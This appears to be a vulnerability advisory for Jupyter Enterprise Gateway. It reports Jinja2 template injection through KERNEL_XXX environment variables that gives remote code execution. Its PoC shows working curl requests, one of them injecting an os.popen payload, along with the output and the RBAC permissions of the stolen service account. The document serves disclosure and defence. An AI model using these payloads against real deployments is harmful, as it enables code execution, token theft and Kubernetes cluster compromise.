Description

Jupyter Enterprise Gateway: Jinja2 Template Server Side Template Injection resulting in Remote Code Execution

Summary

The environment variables (KERNEL_XXX) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI). By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service. The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a hostPath volume mount.

Details

The KERNEL_POD_NAME variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code: https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247

The Jinja2 template for the Kubernetes manifest contains several kernel_xxx variables, in addition to kernel_pod_name discussed above, such as kernel_working_dir that are used when rendering the manifest and are all vectors for SSTI. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77

These values come from the environment passed in the API call, where they were KERNEL_XXX before being converted to lowercase.

https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137

PoC

Simple demonstration of SSTI using {{7 * 7}}

curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{7 * 7}}" }}'

{"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "python_kubernetes", "last_activity": "2025-07-17T07:14:42.155736Z", "execution_state": "starting", "connections": 0}

Running kubectl get pods

NAME                                                 READY   STATUS    RESTARTS   AGE
bdawg-49                                             1/1     Running   0          3m54s

Remote code execution - OS Commands via SSTI

curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{ cycler.__init__.__globals__.os.popen(\"hostname\").read() }}", "KERNEL_NAMESPACE": "notebooks" }}'

{"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "python_kubernetes", "last_activity": "2025-07-17T07

NAME                                                 READY   STATUS    RESTARTS   AGE
bdawg-enterprise-gateway-8695685bc8-klm4m            1/1     Running   0          2m25s

enterprise-gateway-8695685bc8-klm4m is the hostname of the Enterprise Gateway pod.

Enterprise Gateway RBAC

The Enterprise Gateway service account has R/W access to several resource kinds.

Stolen Enterprise Gateway service account kubectl auth can-i --list

Resources                                                Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io                 []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io            []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io             []                                     []               [create]
rolebindings.rbac.authorization.k8s.io                   []                                     []               [get list create delete]
configmaps                                               []                                     []               [get watch list create delete]
namespaces                                               []                                     []               [get watch list create delete]
persistentvolumeclaims                                   []                                     []               [get watch list create delete]...
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Impact

This is a server side template injection that leads to remote code execution (python and OS commands).

An attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token. It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with hostPath mounts, which can be used to compromise the complete cluster and all workloads on it.

Mitigation

Aliases

References